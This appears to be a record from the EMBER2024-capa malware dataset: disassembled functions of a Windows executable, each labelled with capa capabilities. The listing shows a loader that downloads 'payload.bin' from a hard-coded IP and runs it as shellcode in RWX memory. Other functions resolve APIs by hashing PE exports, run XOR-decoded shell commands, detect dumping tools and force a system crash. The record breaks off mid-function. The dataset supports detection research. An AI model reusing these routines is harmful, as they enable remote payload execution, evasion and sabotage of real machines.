joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001221
Capabilities:
Execute shellcode via indirect call

Disassembly:
jmp 0x140001c80
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x88
mov rax, qword [rsp + 0xa8]
mov rcx, qword [rax]
call fcn.14000123f
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0x1c
jbe 0x140001cb4
xor eax, eax
jmp 0x140001db3
lea r9, str.payload.bin
mov r8d, 0x118
lea rdx, str.45.195.204.101
lea rcx, [rsp + 0x58]
call fcn.140001276
lea rcx, [rsp + 0x68]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x48]
lea rcx, [rsp + 0x68]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x28]
lea rcx, [rsp + 0x48]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
cmp qword [rsp + 0x28], 0
je 0x140001db1
lea rcx, str.dbghelp.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x140001d92
mov rax, qword [rsp + 0x38]
add rax, 0x1000
lea r9, [rsp + 0x40]
mov r8d, 0x40
mov rdx, qword [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rsp + 0x38]
add rax, 0x1000
mov r8, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
mov rcx, rax
call fcn.140007620
mov rcx, qword [rsp + 0x28]
call fcn.1400075f0
mov rax, qword [rsp + 0x38]
add rax, 0x1000
call rax
jmp 0x140001db1
lea r9, [rsp + 0x44]
mov r8d, 0x20
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [rsp + 0x28]
xor eax, eax
add rsp, 0x88
pop rdi
pop rsi
ret
Function at 0x140001c80
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x140001c80
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x88
mov rax, qword [rsp + 0xa8]
mov rcx, qword [rax]
call fcn.14000123f
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0x1c
jbe 0x140001cb4
xor eax, eax
jmp 0x140001db3
lea r9, str.payload.bin
mov r8d, 0x118
lea rdx, str.45.195.204.101
lea rcx, [rsp + 0x58]
call fcn.140001276
lea rcx, [rsp + 0x68]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x48]
lea rcx, [rsp + 0x68]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x28]
lea rcx, [rsp + 0x48]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
cmp qword [rsp + 0x28], 0
je 0x140001db1
lea rcx, str.dbghelp.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x140001d92
mov rax, qword [rsp + 0x38]
add rax, 0x1000
lea r9, [rsp + 0x40]
mov r8d, 0x40
mov rdx, qword [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rsp + 0x38]
add rax, 0x1000
mov r8, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
mov rcx, rax
call fcn.140007620
mov rcx, qword [rsp + 0x28]
call fcn.1400075f0
mov rax, qword [rsp + 0x38]
add rax, 0x1000
call rax
jmp 0x140001db1
lea r9, [rsp + 0x44]
mov r8d, 0x20
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [rsp + 0x28]
xor eax, eax
add rsp, 0x88
pop rdi
pop rsi
ret
Function at 0x140009b97
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14007c160]
jne 0x14000690a
rol rcx, 0x10
test cx, 0xffff
jne 0x140006906
repz ret
ror rcx, 0x10
jmp 0x140009af0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14007dc10]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14007dd08]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140009b75
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14007dc10]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140009b97
mov rax, qword [rsp + 0x88]
mov qword [0x14007dd08], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14007dca8], rax
mov rax, qword [0x14007dd08]
mov qword [0x14007db80], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14007dc90], rax
mov dword [0x14007db70], 0xc0000409
mov dword [0x14007db74], 1
mov rax, qword [0x14007c160]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14007c168]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14007dc08], eax
mov ecx, 1
call fcn.140011c40
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14006a560]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14007dc08], 0
jne 0x140009c1e
mov ecx, 1
call fcn.140011c40
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
push rcx
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
push rsi
xor r9, r9
movzx rcx, word [rdx + 0x4a]
mov rsi, qword [rdx + 0x50]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
mov rdx, qword [rdx + 0x20]
push r9
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
push rax
mov r8d, dword [rax + 0x20]
add r8, rdx
mov ecx, dword [rax + 0x18]
jrcxz 0x1400040ca
dec rcx
xor r9, r9
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
add rax, rdx
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x140004794
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
xor r8d, r8d
movzx eax, byte [r8 + rdx]
movabs r9, 0x100000001b3
xor rcx, rax
inc r8
imul rcx, r9
cmp r8, 4
jb 0x14000462b
mov rax, rcx
ret
mov rdx, rcx
movabs rcx, 0xcbf29ce484222325
jmp 0x140004628

Function at 0x14000f398
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov rdi, rdx
mov r13, rcx
test rdx, rdx
je 0x14000f4bb
mov eax, dword [rdx + 0x3c]
xor r12d, r12d
mov esi, dword [rax + rdx + 0x88]
add rsi, rdx
mov r14d, dword [rsi + 0x1c]
mov ebp, dword [rsi + 0x20]
add r14, rdx
mov r15d, dword [rsi + 0x24]
add rbp, rdx
add r15, rdx
cmp dword [rsi + 0x14], r12d
jbe 0x14000f49d
mov ecx, dword [rbp + r12*4]
add rcx, rdi
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x14000f3fd
test rax, rax
je 0x14000f49d
cmp byte [rcx], 0
je 0x14000f49d
lea r8, [rcx + rax]
mov rdx, rcx
cmp rcx, r8
je 0x14000f434
mov al, byte [rdx]
sub al, 0x20
cmp al, 0x5e
ja 0x14000f49d
inc rdx
cmp rdx, r8
jne 0x14000f424
mov rdx, qword [r13 + 0x58]
or rax, 0xffffffffffffffff
mov qword [rsp + 0x20], rcx
inc rax
cmp byte [rcx + rax], 0
jne 0x14000f441
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
movaps xmm0, xmmword [rsp + 0x20]
movdqa xmmword [rsp + 0x30], xmm0
call rdx
mov dword [rsp + 0x98], eax
lea r8, [rsp + 0x98]
movzx eax, word [r15 + r12*2]
lea rdx, [rsp + 0x40]
mov rcx, r13
mov ebx, dword [r14 + rax*4]
add rbx, rdi
call fcn.140006968
inc r12d
mov rcx, qword [rax]
mov qword [rcx + 0x18], rbx
cmp r12d, dword [rsi + 0x14]
jb 0x14000f3f1
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
lea rdx, str.Invalid_DOS_header
lea rcx, [rsp + 0x40]
call fcn.14000b98c
lea rdx, [0x140033850]
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x14001078c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400107d6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400107d6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400107d6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400107d6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400107d6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400107d8
xor al, al
add rsp, 0x28
ret
Function at 0x140002bf0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x20
cmp byte [rdx + 0x11], 0
mov rbx, rcx
je 0x140002c16
xor eax, eax
lea r8d, [rax + 0x1e]
xor byte [rax + rdx], r8b
inc rax
cmp rax, 0x10
jb 0x140002c01
mov byte [rdx + 0x11], 0
call fcn.140002990
mov rax, rbx
add rsp, 0x20
pop rbx
ret

Function at 0x140002c30
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x20
cmp byte [rdx + 0x41], 0
mov rbx, rcx
je 0x140002c56
xor eax, eax
lea r8d, [rax + 0x1e]
xor byte [rax + rdx], r8b
inc rax
cmp rax, 0x40
jb 0x140002c41
mov byte [rdx + 0x41], 0
call fcn.140002990
mov rax, rbx
add rsp, 0x20
pop rbx
ret

Function at 0x140002c70
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x20
cmp byte [rdx + 0x6c], 0
mov rbx, rcx
je 0x140002c96
xor eax, eax
lea r8d, [rax + 0x1e]
xor byte [rax + rdx], r8b
inc rax
cmp rax, 0x6b
jb 0x140002c81
mov byte [rdx + 0x6c], 0
call fcn.140002990
mov rax, rbx
add rsp, 0x20
pop rbx
ret

Function at 0x140002cb0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x20
cmp byte [rdx + 0xb], 0
mov rbx, rcx
je 0x140002cd6
xor eax, eax
lea r8d, [rax + 0x1e]
xor byte [rax + rdx], r8b
inc rax
cmp rax, 0xa
jb 0x140002cc1
mov byte [rdx + 0xb], 0
call fcn.140002990
mov rax, rbx
add rsp, 0x20
pop rbx
ret

Function at 0x140005bc0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x3a0
mov rax, qword [0x1400930a8]
xor rax, rsp
mov qword [rsp + 0x390], rax
xor bpl, bpl
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
lea rcx, [rsp + 0x154]
mov r8d, 0x234
mov ebx, eax
mov edi, 0xffffffff
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov dword [rsp + 0x150], 0x238
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rdx, [rsp + 0x150]
mov rcx, rax
mov rsi, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140005c66
nop word [rax + rax]
cmp dword [rsp + 0x158], ebx
je 0x140005c5f
lea rdx, [rsp + 0x150]
mov rcx, rsi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140005c40
jmp 0x140005c66
mov edi, dword [rsp + 0x170]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, Ordinal_301
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov dword [rsp + 0x20], 0x238
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rdx, [rsp + 0x20]
mov rcx, rax
mov rbx, rax
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x140005cd8
cmp dword [rsp + 0x28], edi
jne 0x140005cc2
lea rdx, [0x140077178]
lea rcx, [rsp + 0x4c]
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x140005cd5
lea rdx, [rsp + 0x20]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140005ca7
jmp 0x140005cd8
mov bpl, 1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, bpl
mov rcx, qword [rsp + 0x390]
xor rcx, rsp
call fcn.140072550
lea r11, [rsp + 0x3a0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140005e50
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x2b0
mov rax, qword [0x1400930a8]
xor rax, rsp
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x38], rsp
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140005fe2
lea rdx, [0x140077ca0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x140005fe2
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x48], rax
cmp rax, 0xffffffffffffffff
je 0x140005fe2
mov dword [rsp + 0x60], 0x238
lea rdx, [rsp + 0x60]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140005fe2
mov byte [rsp + 0x30], 0
xor esi, esi
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x2a0], esi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x34], eax
mov r8d, dword [rsp + 0x68]
cmp eax, r8d
jne 0x140005f1e
lea rdx, [0x140005fa8]
mov rcx, qword [rsp + 0x38]
call sub.VCRUNTIME140.dll__local_unwind
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
mov qword [rsp + 0x40], rax
test rax, rax
jne 0x140005f49
lea rdx, [0x140005fa8]
mov rcx, qword [rsp + 0x38]
call sub.VCRUNTIME140.dll__local_unwind
mov qword [rsp + 0x20], rsi
mov r9d, 4
lea r8, [rsp + 0x2a0]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x140005f7d
lea rdx, [0x140005fa8]
mov rcx, qword [rsp + 0x38]
call sub.VCRUNTIME140.dll__local_unwind
mov eax, dword [rbx]
cmp dword [rsp + 0x2a0], eax
je 0x140005f9f
mov byte [rsp + 0x30], 1
lea rdx, [0x140005fcb]
mov rcx, qword [rsp + 0x38]
call sub.VCRUNTIME140.dll__local_unwind
nop
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
je 0x140005fcb
xor esi, esi
mov rbx, qword [rsp + 0x50]
mov eax, dword [rsp + 0x34]
jmp 0x140005f03
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x140005fdb
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, byte [rsp + 0x30]
jmp 0x140005fe4
xor al, al
mov rcx, qword [rsp + 0x2a8]
xor rcx, rsp
call fcn.140072550
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140006070
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x290
mov rax, qword [0x1400930a8]
xor rax, rsp
mov qword [rsp + 0x280], rax
xor edx, edx
mov r14, rcx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x238
mov rcx, rax
mov r15, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140006268
movabs r12, 0x7ffffffffffffffe
xor r13d, r13d
xorps xmm0, xmm0
lea rax, [rsp + 0x6c]
movups xmmword [rsp + 0x20], xmm0
mov ecx, 0xa
mov rbx, 0xffffffffffffffff
inc rbx
cmp word [rax + rbx*2], r13w
jne 0x1400060f4
cmp rbx, r12
ja 0x1400062ab
cmp rbx, 8
jae 0x140006147
mov qword [rsp + 0x30], rbx
lea rdx, [rsp + 0x6c]
add rbx, rbx
mov qword [rsp + 0x38], 7
mov r8, rbx
lea rcx, [rsp + 0x20]
call sub.VCRUNTIME140.dll_memcpy
mov word [rsp + rbx + 0x20], r13w
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x20]
jmp 0x140006199
mov rsi, rbx
or rsi, 7
cmp rsi, r12
jbe 0x140006158
mov rsi, r12
jmp 0x140006160
cmp rsi, 0xa
cmovb rsi, rcx
lea rdx, [rsi + 1]
lea rcx, [rsp + 0x20]
call fcn.140006a70
lea rdi, [rbx + rbx]
mov qword [rsp + 0x20], rax
mov r8, rdi
mov qword [rsp + 0x30], rbx
lea rdx, [rsp + 0x6c]
mov qword [rsp + 0x38], rsi
mov rcx, rax
mov rbp, rax
call sub.VCRUNTIME140.dll_memcpy
mov word [rdi + rbp], r13w
cmp qword [r14 + 0x18], 8
mov rcx, r14
jb 0x1400061a6
mov rcx, qword [r14]
cmp rsi, 8
lea rdx, [rsp + 0x20]
cmovae rdx, rbp
cmp rbx, qword [r14 + 0x10]
jne 0x14000621c
test rbx, rbx
je 0x1400061d4
sub rdx, rcx
movzx eax, word [rcx]
cmp word [rdx + rcx], ax
jne 0x14000621c
add rcx, 2
sub rbx, 1
jne 0x1400061c1
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp rsi, 8
jb 0x140006218
lea rdx, [rsi*2 + 2]
mov rax, rbp
cmp rdx, 0x1000
jb 0x140006210
mov rbp, qword [rbp - 8]
add rdx, 0x27
sub rax, rbp
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400062a4
mov rcx, rbp
call fcn.1400720fc
mov al, 1
jmp 0x140006273
cmp rsi, 8
jb 0x140006253
lea rdx, [rsi*2 + 2]
mov rax, rbp
cmp rdx, 0x1000
jb 0x14000624b
mov rbp, qword [rbp - 8]
add rdx, 0x27
sub rax, rbp
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400062a4
mov rcx, rbp
call fcn.1400720fc
lea rdx, [rsp + 0x40]
mov rcx, r15
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1400060db
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.140072550
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400069e0
int3
Function at 0x1400066c0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x1400930a8]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140006793
cmp byte [rcx + 0x71], 0
je 0x140006793
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + Ordinal_26]
cmp eax, 0xffffffff
je 0x14000678f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140006754
sub eax, 1
je 0x140006758
cmp eax, 2
jne 0x14000678f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140072550
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140006786
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000678f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000673c
xor al, al
jmp 0x14000673c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140072550
add rsp, 0x60
pop rbx
ret

Function at 0x140006b70
Capabilities:
Encode data using xor
Execute command

Disassembly:
sub rsp, 0x58
movdqa xmm0, xmmword [0x140078070]
xor eax, eax
movdqa xmm1, xmmword [0x140077fc0]
movdqu xmmword [rsp + 0x20], xmm0
mov byte [rsp + 0x40], 1
movdqu xmmword [rsp + 0x30], xmm1
nop word [rax + rax]
lea ecx, [rax + 0x1e]
xor byte [rsp + rax + 0x20], cl
inc rax
cmp rax, 0x1f
jb 0x140006ba0
lea rcx, [rsp + 0x20]
mov byte [rsp + 0x40], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rsp, 0x58
ret
Function at 0x140006bd0
Capabilities:
Execute command
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x160
mov rax, qword [0x1400930a8]
xor rax, rsp
mov qword [rsp + 0x150], rax
lea rcx, [0x140077050]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x108
lea rcx, [rsp + 0x40]
call fcn.140006a00
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, str.C:WindowsINFSecure.axt
lea rcx, [rsp + 0x40]
call fcn.140003ba0
nop
lea rdx, str.0xE0PD01_n0xB866E7_n0x1337B1
lea rcx, [rsp + 0x40]
call fcn.140002990
mov rcx, rax
lea rdx, [0x140003790]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x40]
call fcn.140007050
lea rcx, [0x140076e58]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3

Function at 0x140007180
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x60
lea rax, str..kdstinker
xor edi, edi
mov qword [rsp + 0x40], rax
mov ebx, edi
lea rax, str.._
mov qword [rsp + 0x48], rax
lea rax, str..KsDumper
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + rbx*8 + 0x40]
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x1400071f1
lea rcx, str.start_cmd__c_START_CMD__C__COLOR_C__TITLE_Protection__ECHO_KsDumper_Detected.__TIMEOUT_10__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
inc rbx
cmp rbx, 3
jl 0x1400071b2
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
Function at 0x14000a4f0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
xor ebx, ebx
lea ecx, [rbx + 8]
call fcn.1400720c0
test rax, rax
je 0x14000a518
lea rcx, [0x140009f80]
mov qword [rax], rcx
jmp 0x14000a51b
mov rax, rbx
mov qword [rbp + 0x10], rax
lea rcx, [rbp - 0x18]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x140003270]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x20], rax
test rax, rax
je 0x14000a66f
cmp dword [rbp - 0x18], 0
je 0x14000a664
movaps xmm0, xmmword [rbp - 0x20]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rbp - 0x10]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x14000a664
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x20], xmm0
lea ecx, [rax + 8]
call fcn.1400720c0
test rax, rax
je 0x14000a592
lea rcx, [0x140007210]
mov qword [rax], rcx
jmp 0x14000a595
mov rax, rbx
mov qword [rbp + 0x10], rax
lea rcx, [rbp - 0x18]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x140003270]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x20], rax
test rax, rax
je 0x14000a6a1
cmp dword [rbp - 0x18], 0
je 0x14000a696
movaps xmm0, xmmword [rbp - 0x20]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rbp - 0x10]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x14000a696
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x20], xmm0
lea ecx, [rax + 8]
call fcn.1400720c0
test rax, rax
je 0x14000a60c
lea rcx, [0x140005230]
mov qword [rax], rcx
jmp 0x14000a60f
mov rax, rbx
mov qword [rbp + 0x10], rax
lea rcx, [rbp - 0x18]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x140003270]
xor edx, edx
